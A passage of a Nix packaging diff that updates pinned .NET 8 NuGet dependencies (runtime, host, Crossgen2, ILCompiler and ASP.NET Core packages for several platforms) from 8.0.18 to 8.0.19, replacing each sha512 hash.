+      hash = "sha512-VhKbsaln9sfOfDvxFh3eVnIQEZhfPnXG9bV9N+unU1GqcZ/CaTSfe1ASAJ230LtMlrtxNk3EqUgSQGX0TQITLQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.18";
-      hash = "sha512-pkMF8rdmxdni+bMP8A5kek1ig+rBriWqCszuNdH4MddjIzjQe1jNqjB0XdRtHZdKgL5OpWBK1nBPBYiT1oeYAw==";
+      version = "8.0.19";
+      hash = "sha512-qtdfpsuFFEQx+26ZUv/95fSUYSpZ6r2Ch0vFKgIwnnwtEOEw7B6h8D8t9P1XkYn6tJvHTdSC0ohcOk+HwELU0Q==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.18";
-      hash = "sha512-0HyBUjT2SHH9SrJxfVzsjb4wJ/3HJ2NZDfxqMfoDCRlPUCT6iApy0O+PnhAtFqyfvB+wpNsQmFhHi7MHz+hFfw==";
+      version = "8.0.19";
+      hash = "sha512-PMYSj+WRBCmeERhq7w+qzqCDAKNR5t2EAMv5w+TFzehtfqQQR8rKZDpYAmzYFaWl6Rn1wOZmjHqsaGbvoL+eMg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.18";
-      hash = "sha512-WeYxJHGMgva5F9l2oo3N3+tKZIBZNoOCjyyXju8uyWnwxtbF8HbxbRZGxR80DVJ5PIUW8E6qKVo9t/rm+0gCIA==";
+      version = "8.0.19";
+      hash = "sha512-42gDcb3t2l6sjYOGsDtZiR/PuY99Ctj0UnUgY+BeavYXqM2huKLa+r0Yg8YRJLkLeWF/MT3KXRReUE5Dnu0daw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.18";
-      hash = "sha512-iUKTKzPeh/7Vv7it/Jr7U5lCpfE2aq1hvtfdh9C0fBPboV+0fMG05t9dEl+ewN8W1rJ6+Xq92QEhbANQAA0Org==";
+      version = "8.0.19";
+      hash = "sha512-lvC9ihhOhbjbAwG90fnb6BIHnB/kz3HDz+9JSTaoBIyd+XBnckIWdtDxPtroWrvoWqydk0TPYxPXNGDY+I4E3A==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.18";
-      hash = "sha512-+6dNm86ZF+53JC3kMQhT1msw2CzoBijWMnDxD0VDsIp5lvvtNTWy/Sl5bTuvIFcSbq00iVefNHa05ELXs9mL+g==";
+      version = "8.0.19";
+      hash = "sha512-oADBsA42EoW8MmpuTl5e5TrNZSNtlpOPsSWtY/dmVdK7EJf1QAQdvHAxZQ6IGDNsKrI4h0VEo+75Grmmc41RTQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.18";
-      hash = "sha512-E/HnHEgLQboNM63koeog+GQwoUjj9oLo/gJXKfdfLq8D9LfgG8tvkbnVdQD4zg9ri2pIGTTjNzwoy07whjGl5Q==";
+      version = "8.0.19";
+      hash = "sha512-GoPqp8InCwdG8uqW1M5KOqlBHyYLFRuHRQxhBKNJCVwv+EIkCbVkxE+SzLYQaqMZZGOl86WFBLDMdTq0d9+Tag==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-diW7p7SmT+AaZ3w0mesbmnSLHLvcz7qV/PtstYS5lGoOFge9tqPrQKvN1lkjRTNyFxii3hpEVZYBA7341tCj4g==";
+        version = "8.0.19";
+        hash = "sha512-CBq+wJbsMgLVJJLS7vDyefSpH4f5VT0+m80rmB/XtwiFNe8oQJHs3bRpSef+JnKCJoU62ijGs8IQMFsXYbraYQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-7RgDbnLuJdyhM8LdlmcSMnTuaSrzNCGe1P+SBMxfM8hioiwupoP1axEH1KkxCl0tWjG4EZCMpZUHrh+Gb6JowA==";
+        version = "8.0.19";
+        hash = "sha512-jTF36xYRwLtBq67lUy2IBUZzsRK6nTQuduGtaaWUqO6YcTb15SzN17MeJWanD1nEeleKWR1AL1GJb2cAsEnUiQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-BHJH9up/pokbEYBvkKih9QKnf/UmLXvX14m2lZZbVOvLgB6NR4Z+6ZOojuEJVmdFsWl7Ai//KYfc4sz1zewwAA==";
+        version = "8.0.19";
+        hash = "sha512-EryMsQIZXDc3NLdZ2c14LV7XxkTtIJrF2e4uVE8Ycvqo6PiBZdUiuNEe5HI/wsMyOx5TJJWVW8M5bvykSFNUpQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-Ymgqi3mVAYXktoV8Pm4uJk87tmoUsGNiDE6ixMghaSnrBzeJQHgiOgC08Loi5tt4GeAzKuofF9VWrST2Cr+mkw==";
+        version = "8.0.19";
+        hash = "sha512-ovKKlV/bfPMcOX2NIr7QXZwZceFSqFwwzLdYNZI1sm9WsXuc3oYrwUoWwcyjXobAQGo1pY1QW6l2eU6TFIDBVA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-JOnFBpCCSH6jp2wohLNBKeDXUfU/ZyF2Q8VALOqOh3oWicvO9WPw5skyHzuV6k/ClnKIhLZmJWF9sDIaCB1KXg==";
+        version = "8.0.19";
+        hash = "sha512-YuSYCslUdV+10cBI5q3oIxVPFWeQPXMAnkdKpZtOFNCPy+1I11cali6yKe++Dq1LeYAhviLbYnnL+1nFPP9jPA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-fQNP3JTHUnEkHnXnRuH1UBs3SyTzf3pCoMA1stExgShCQ5tR4LKKGu9OdEG+2QdmJMdMSunnU3CL8/UbfU/4XA==";
+        version = "8.0.19";
+        hash = "sha512-KHOxnCTTVWjYhItEHUi437lfjTz7GJDN7UjUILN1qe0q1i0kFA+2HdQwKt/SKBdF9iMJiDS/XotD+EOYbWSS6g==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-+F4XZgRh6v/UaQwU8iJ8JzHrhtWTLICXJ7lEv/PvqD37VQY/2irYLo4tCpZwLIfeZAldv4Sc+LeH5EcRov7Izg==";
+        version = "8.0.19";
+        hash = "sha512-cDvawzOkUtG+BMHhqrwAu3F0AZIXoeMOMAx43x5zH1XerKAGh09ggu53jnIByHmYHI2F9Wze2fSwcmNm2akkgg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-stToQ45BL6fOk6arYUcYiRF5gX244Bju/GS0UKJyYpf61SFVHgiOfZtqciFWWEGTc0xuEHURjvNij4FTTYYs2g==";
+        version = "8.0.19";
+        hash = "sha512-X4Ku+V3mehusrwoGqQ6PSoWfvCe5cMepsoKG3JSylJsd6CL2MzMBQa6CZU8ByB29JE/dwOo7MmYbNsxdDACq3Q==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-n4956y81CtgHtzxRlLoZs9no1NeT6vHtHh00RTHST7m55eMV2Tslm/5k0Jo1Xo/T+50QmZqlGSfTH4hLpwEh2Q==";
+        version = "8.0.19";
+        hash = "sha512-MnPFQfcebuYBLfIxKrzO/z6fNGhUpm8JMtDkoX9zm/OitWkHBpYhPANnz4baao8t/X6xvLY4jgURXurqt8VWIw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-xFWpgrb2yEEo9TKsT7Xpoj1lHemgKVYHW8kyego2xES/aUl3Rb9IO4hEcC3aAVcCpBp4M7+NrfhQrqhq3nI5pw==";
+        version = "8.0.19";
+        hash = "sha512-eGiP0kagfsqjLFYuW21kAriFJ0EdThyCpPoB1657p24cg4Xhd2Yeh97FU9pb0UAZA4zqjhqcCmqWvcAbyx5Oig==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-VsnN7b4GMKgq1FcJY7Pn8m3HWqdpZGjuAyUH9eIlvQGV6vzc9hvHIJhmDPA+hSvbjXshoa557IMWOJsGABo7sA==";
+        version = "8.0.19";
+        hash = "sha512-pBo4JhEGeCG627NFpSO7+KJgh/DPcjuz/bEgZ6dRHXZI/bDmyjLTGJQvyvonW7jhgbxgBbo2WayHCrgHFA74Zg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-AA1LHIUoiWZG3qg0mRh0pBhnm7eKygNRk//A2OUpqxpbdWk5TnD0s2vuYqwonqonW9ykaMpP+inmyCB0fpYvtA==";
+        version = "8.0.19";
+        hash = "sha512-0+1JQFBD8qKmK1j+5VyY/5fLUU5lKt3oKLqDnIE0KZlJc9uJSi174JsEqF6rjrEtWRPXSaDd5QuwCUzeEuKd2A==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-sm5LY+hvq9/nxI3lurUwr7fu/abqb0DAos2ItezewQEGT3A0mNY+ZzawaX/dTAAivl+eToCMLi+2rH+OrRR3gQ==";
+        version = "8.0.19";
+        hash = "sha512-dBj8Xuk6EbKF/UdeP7e40ULe1XDBTBy4W2EzYBJoaZ8+Qi9LY9PbsEfrXEc94/o0cBM6vPiBNahEpJcS+ao1iw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-3uhlEm4Q2OVGEjmcaW0m6BvM93TKaJ3UDs5Ilehn+y6ZIjTZCqG5Svs7QcXrBFDlJX109TtPV8pPB6eCE0O+6A==";
+        version = "8.0.19";
+        hash = "sha512-Jfu88czW2sKACGPJ/yMV6UEiPUI8yiodPd24p6LAPRUCX6CI7UbEc30cCAmkN9TuEt/zAK4dKG2hs3isfdjpNA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-3E91cZevql0JI3Gqvxr9Ek8v6Bz8X7+CERVhKioz20407oziovUgfQPjcpXZ4maXIYB3Rg4qo8Su97dJRfYlPQ==";
+        version = "8.0.19";
+        hash = "sha512-UjZI9mQLY4k8jwdq9NgyzfPwWxDmEiT2ahqV8a9AXa33AUKhXr1X4aW22e5QSUZF997psI0HI4DAYgnRrZN6vQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-sbWou4XTgFm96/sKC6ICivQA2OUwjEHMdk3qhW3oR0HeFZNyGVfYgydgfmIhv+NPtxA9ymBtYT0Qy+Qzug5VXg==";
+        version = "8.0.19";
+        hash = "sha512-MV6poe/eVPrbO3CQvQNn3RNIymVBNWJ7updS3aSZVhlL9IZUuw0Oyn92pi8Fd3qOWvZQcdireVua0AWBmD14Hg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.18";
-        hash = "sha512-ZZn4xQQamT5qjamOth5sIXjGQ93/1Q0zTMS5OdlmGEPQgnIXqscaGHa4+keV92x3ZkdYWiVfxVWJ388PS958FQ==";
+        version = "8.0.19";
+        hash = "sha512-AQJC7awIrQnM6TIj1ZrWaRc3HveorRrQaGxfCd4Gdn/RFJXkiETDSUZuakkHLmND1HUcBWZ003UlJasJoDe57A==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.18";
-        hash = "sha512-laTLzCURbEEC+X+WfJNkDXfjk+s/9RExjWJ+qELrBw7ekhepQKFq7h5fVONVcRdI4GSkpG0bETwa6DXPhi4iIw==";
+        version = "8.0.19";
+        hash = "sha512-zkLC9ydX+0bsZWrJxWsWM/8LPujWC7Z0L6QHdYehClKa4Lrk3glBex2O5q2QirqLjCFDjYRMw7KSyO4CUGv5ng==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.18";
-        hash = "sha512-6qw3f6QPWExHGdMEsw4s5DmtN8BLBXzsFMH7x+7hjdnZvfx1eebZdY610kYGz8Q/tcd0sLa1TXMcrF2CpxixNw==";
+        version = "8.0.19";
+        hash = "sha512-ECYlGtxCIAHIMQRTjTrrAG6O+iTP+2LV8g02ttgII6BPw7fpsViPtYpgXAKMx2SW3NjlS9ePxXS+LsDmJ6peKA==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-97IplAqXG0a6rE5XheNUd4Gaeutsoe0TtCg/rI0h4qrUbCOErcuf/w4OmoQMKPV8WQzIUejA35EziyaulL0/EQ==";
+        version = "8.0.19";
+        hash = "sha512-CXwG/jLFrC1njHjZnwI0cDjd7Q1CQPGAn0HFM9BekI3xJb3MtlfPyyx0jN7NMsejToWeXgw6wlQ7rLCxwcGREg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-a9au+YLLDhwln5XPD0ryW0+L7cq/OZWlNaOSU6N5uwiL466rrJ3cevkOeACO6LBFmWCm9/mLzEY6XwUD+O85Gg==";
+        version = "8.0.19";
+        hash = "sha512-He223oJT1MMpZKYApV4yb8KFrP4x1Ei+Z2ovHubJ9IYJxApvw17R8GfCVWYDwQiUITd5xxfXQZAvq9Uhzrdumw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-DceneYsM3IeWIEZTAQWvpMhK9LUEWpse8gE14iyX1EHCmX5ZPyla2LFC4KPzo5sEFjfxxUXL1uH6P4wgegBa8Q==";
+        version = "8.0.19";
+        hash = "sha512-Bb8wAYk8zTCXwd25mOhVQg/wXQrRxQplxD0t189tfRox90zE4QSWPljMR61AAeuFvnAmFHX2/WJtYXq3tjSrRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-CddApCtn25IXLSFNGjqhNSNARB4mVJouJmXaIrdNdk2i6FlHQzt9ocRRNHQcCyds2vd7Xpevci2KcxA5ve+7kQ==";
+        version = "8.0.19";
+        hash = "sha512-kaSQrToRQW4cNifw0bHzfFt8bXJb0bxYYXzOm6sKdw+MAMO5fIIybr3DpLSGLmqqz/B63Jz22Fx6OoVFw7G+tQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-/VBwWQ5g9ILmScK/BnUHc0+gwuKE/Hcwn4lrc88dywLo4d1mmgciFRAK9y9vjSqdK4LnSeDYoNV1Up64P9nlvA==";
+        version = "8.0.19";
+        hash = "sha512-XNqp2Kf81OCORVhDCLUUVIyQWmnTW+xqdeKcv1/DWUwE0Bs5jzhpk/LmE0yRoduTpXAyYkPRWpxWZGOVa2twVg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-oFfmKhY4Xi0ulGkYMLkSQpx3tSX9aBG1vld2I4pSyN18mvkDATyWoaR1hH/xGNT8J1Zkq6X13ugCoJCeNc+jQQ==";
+        version = "8.0.19";
+        hash = "sha512-91csMX2qwGariQVFLhCOX6sRywEuX+qoOht0GgjmqmaKI2JxEleCJEMcJ+n7RqieSia2txmVzeHYDED3+5xlKQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-Tcsp8Jlthe8wsFdO6Nn57uO5sbkYBa6qyrc2DSpC7k6pLbrGZ+PRZ5fnl+6iHpPCoABCAMvhvwu9CLSriRhJ9g==";
+        version = "8.0.19";
+        hash = "sha512-fivtZRiA9IH/8JqTnXxVfQ4cak3hnte3tZLgPQ4z47/xAxcvz1nRjHRbblIl3FEfGvj3oHJakbgttSvvwdrI3g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-8YTjgbM7KXUy8iGyatSNmhVDDaQx7tuHoHtO+LWOkusuh7XNdcBXl60P4ESUNRz/Vndhyp+fXE+S1dGgYuabJQ==";
+        version = "8.0.19";
+        hash = "sha512-gP/Qk9rYTT7upplXUbUmhMnxUC8KcJWZ3dLFdW0zQ78zxkfkIDbJ60HQQetEohnhUbOCX+/j2N/oEzeLrESGFw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-LKWL8GaVV+r8yqsBx3PnqM8o8DwkdsXY78RVu812ii/roK/F3Tj3cAcBkjdX65jun3xDwCY5Sz+4PNfitGCHPA==";
+        version = "8.0.19";
+        hash = "sha512-RZ4+PXfM587j+4jVt5fMFvx3qy1OkR1q4Ztj7LekJBCidfkNcmHI64sVm+ev1nS1xhBQNgdCLRFa8VUqqPSgFw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-L4qih+Oj2RQrRC1xivu9JwIFyktVZ9cYzeEPX8IH+qOnmXUW9KWTqvj6axLmCsibDpZQQktGvVSo87B/HeO0+Q==";
+        version = "8.0.19";
+        hash = "sha512-Y3BL9qgrcCZBZVlM3anKLX8F2atrzvCm4gxED1hTxJGQyCp24xEaGKa6BRfq5NdQO4sKOS3UWDM/XB6qr4yx+A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-uAvqaMX+UBsF6kcjSJsrDRWwQatSWoab6Zs57AEsgNBSImUJ469cWv9ByjJrUxqbcFiiJuOd0ERw1Zz2COhawg==";
+        version = "8.0.19";
+        hash = "sha512-29KXiTrQ5adugytgWnZfdBSyBQHvlPwuClP4RyR0DRERHfMFWfZc+IFYCvqr1LLquPBR2Ev/xO4SgOfgQyu9kQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-1NPmjQAfTKpcqdKCbP+lCv2oeltqjZsCIUi4bzffAqjgKMXQ9GVJwNTRVAF+IUW2t8se76Si8tnY1aPQVZ4rcQ==";
+        version = "8.0.19";
+        hash = "sha512-ppU9Qz/PQ6ilQze2Ep7iG7KCzjMMWnd/JxY0c7oYeJfT9yTjBZOZeu4CHM8Vi0qewih1fI521CsIbvBKLHndSA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-t7s5+Z9f+HQaLEoH8dFKFsigURWEtbX/4DTVkbb61PcbsO0SqGO31V8zEoyzOtfddaifURFbFA42aODv6vqHcQ==";
+        version = "8.0.19";
+        hash = "sha512-jIThUl9XLKaVo+bTUtNzO03JAvmP/mc8Tqcc9xSCvf9TzroV/MrapKju/iN+zNFeS5OnJIF3doKEbYnKnCWs7g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-Tw+xdAhQGksiV7p/CKP6A5ORVbxEvnfiZWPQ2YAMHIV6h8Dg280+U9PBv/yCtIRgPbdBWnc8EkwJS6J4/Gn2pA==";
+        version = "8.0.19";
+        hash = "sha512-zQlXKZ7Lcmy5iGGIFj1dGAdAGysgJm0r67quupe3tlBxHvi17Pntb+zesPSp31kaX+gqLdVWLylBLnb2EF41bg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-9lTB0xWTtaCf5dfxpSxqbMmA36UKhSV39ARu3jjxnQgHVBoHoS2z2k/LD7dkZOJA7Pdu+bxPJRHCDKg45CAmOg==";
+        version = "8.0.19";
+        hash = "sha512-XuYUWuqO1rOCKgU0T0OHgjdlYg1xYzZC/LnIoM1UBV+RiByUVCDlNmctSNlNm9nNOHVDxrDGMJmjG0LH2/66dg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-6wPjZestzQO9qWYph3USKofrCRIEzRGIkPq2rjfObqCBFM7f288rVsaoomciMm/rzNk/IhJJUOakHyBna160Gg==";
+        version = "8.0.19";
+        hash = "sha512-+tKz3/AS0uatyMFciALifG0HF25uRxYOGfMZy8FIg2xrkjW1xDKg/Aqk2kHu5K+yxpO3ez8yutqG7AZjGO2bAw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-AK7WYWP8zt+AFyORdzikH5ZMjATQ/piP8B0+v/sHWa0qz+l7R7VT8xnVxadn709XeWHYtsB5B+6UQ15i8JrAqg==";
+        version = "8.0.19";
+        hash = "sha512-OVA3+spWeTytk2DCo9syBHUmc0K0Yqyh+AvULvV9S4rAsdmgjKDARVNYcImDhMqRTTzX5r4uczoWnBN7wPqEtg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-DTOaAtQ/DKJvjBZCxlevKgBmI682/GyFgQ4mY3lZGTlwB5mSBm29zzj15ptdNpJkXwCaWZO/zmdz1UGxSaNIIQ==";
+        version = "8.0.19";
+        hash = "sha512-A3KMblUwJ9Zezrr/lX753sK8JamQbN8T7W/c73PXXlnikdvGSDJh78VtyMAeMPfYlwJQlunSAK0GmYBTaT6hnA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-B2b2WffuthV380wKbW45bXMng1/CFF1ZoCyvZif09VxmKLvYEl9QTyWRGXhih64sGXDnA5wZ91TuzIynaWLMzA==";
+        version = "8.0.19";
+        hash = "sha512-vKT8qP8s2Q+Eef3gvp8dBhqAmspLUjrc5EpfGBuy8ALUhZhKCZUXPuvwx5QjkPTcOb1hOUmEcOAenQ+WEbvnFQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-6Xfg1UtpRheZIkRy/xBqkR7H50NAzE+Ww8cfUPCbHtfUDTM9MyCtmk2LTeIZQu0Fg1Dfr+esPWS4ieYTDufoNg==";
+        version = "8.0.19";
+        hash = "sha512-6OEEohAtoOS4ep+vSrKXi8/Vu4jIRD8woZkwh3Tt0QtT8xV1tmWeNH2jCr76sP3FbIJaVZ6NHQRkrZfov9yxig==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-uZWrqquGM0u30M+1cNjLEiEu6284pQ4qpRVNzQhP8JkwlC/lPlXmjcIkJkn8ruq7wfP1oENi1cx90W5xW5NPdA==";
+        version = "8.0.19";
+        hash = "sha512-GLxAezIXi563N2/q3n8KRxYuhcJaLGJth1gd+G+sQJw6uEv51YPP6s7DsBgewF6VyXDDnesLTGnkv8fkPyWPKw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-K/PztujikPjSxTGPYrtphyblzO5uk9Jt4oR1RpDcqWsKLH2jMQnKe1+HrD0XHXVIstqMOSwIdoGnxAsG0ft0sg==";
+        version = "8.0.19";
+        hash = "sha512-H7e34VBAQ8P9afWKyKn8u2FMGkx6SPqwxk59KvvJNXGE1tt64Y1xcjtoKWU7yY/xgRNyW/7BxBjyjGs96HG9BA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-IlY9MhVGjEcm0kZaetRqJUESID7eo3C1xzVz0kwrcrKJl3wGEBL/7K3BjgLej0UKTi47mIqxWA3vWe0i8JdnBw==";
+        version = "8.0.19";
+        hash = "sha512-MaZramDW2KIdn5sn5IaHGpdr9AvLbBwh6TNzDb8GyzJX1BXzy0QIQPBGM95uiZ7bPZXovgvM/P2myS3aChOX+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.18";
-        hash = "sha512-el5pvDgxwTJDJHTQXNtlU0umzSN60rn+e2LqjrCp52j8vXBjD8mC5qg4q8f/OddzWlUqIAZSe956fwZzRfhMeg==";
+        version = "8.0.19";
+        hash = "sha512-Elc+6ExneINHtEnt4Iq5M9s3t0HEJN0dqPaWMHsag5dzGi6Qx69XboScBNWQhRTKMxoKYihPOL3pk5t4Df5rOw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-JMmBY2t+Lz5EalgDD12mE0k/VgoS+9oMfordQYMZIpKxiXvyFCbhAo03PqClCK9VvfJpw0Sr4O5G8vli1Wa+3A==";
+        version = "8.0.19";
+        hash = "sha512-vl83UEXMS2sVQ5vPRPAr/KX/6gqA3VxVuuzdN4rAo/d1dFK6cFyMLVubcCxIYxSIetaLXLagjWxwKT7TE/E6Zw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-GiLJOvS8t/Al3a3WxYBPbKMYBo0YYcfKPtQ8/TFBZMUct3yx20DsXhv1qX8OxxEDePOBNzSgbxRb7RKFvjOeIQ==";
+        version = "8.0.19";
+        hash = "sha512-qt3IKRfsRC01XEGZYcMK2Na4Ji9J8BFoLTccxVweCNiWxr5QYCTXuAlSCtXPaYtxM0W257peDibq5GIVD2afzQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.18";
-        hash = "sha512-yi6TOgXCO+6xR9knQR6Efqgku9pEyKG8LpVHLtCfW+pdZT2m/Pu0s3LTNVI1EV34c9vg0m0CfFvMlu8P01n0VA==";
+        version = "8.0.19";
+        hash = "sha512-GfV9610N8O7/5aKSauBTA96FAk64ukA3tCZXRjwZrFM3OENfZV2T8NsVSC34lslpaotKxUC7nmQp0ey5nzaPYw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-J24jZqdMfbwzk4nd8At+EefD/oilsu7umb0bicUA0WKY1qVVNUVGTvWnoO+bK/ZiPv4SFjYdn4gZARqUEQnorQ==";
+        version = "8.0.19";
+        hash = "sha512-3z1K3i+s6eyJ0/8OXrW3J6n4pIDv2bQ0pptDpqUuPv1ghiw5BJiF9Vmm1xxhi+HLZkc0wz9Qfg4OAoAyiYE7xA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-DxjNTxOiG2FQgkEYUgZ2/HFMvLo8yclEUma89dpC4BSVn/7OFZldEvEkKKUDNhLJZMv8DUXb+6snXy/nAPYUfQ==";
+        version = "8.0.19";
+        hash = "sha512-W39Zdgq9WUqwd0jY68BWcl9ufhSWtDYwoZB+VAkNauBs0r5yetHsvnkXJAQPli7/d7EVLfhpqhQb+KKcJdFpRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-c/4bi47f2sxg6FXsbVcfChfl/FHf7xN6mPUKqNIRReisvv67bt3utR6OgpX+PkbbdA9ojEfODVljSXQRrluQ/w==";
+        version = "8.0.19";
+        hash = "sha512-kRSdI5ex95sqFc2DBQ9sddp0cRLAdy150AFVdK1LbwyoYceP9OrEgp2gImAC2nvsFPh/ol8XioV4SHwPss1haA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-v+40oF6eORT0Z970gVunxVxIniO5IPg0ArlT/lt5E6rPLapmfauIT06v42Bzqf1JGYY/A4PCyEAlaSchGW6nEg==";
+        version = "8.0.19";
+        hash = "sha512-bTvHoP75ZewPL2+dt0fdwKBgEGxZxyQLLc4KspJ2z728QXBtAdvdjoMoHwbOyC//oApzcB68v7jP5ADmfzk5Rw==";
       })
     ];
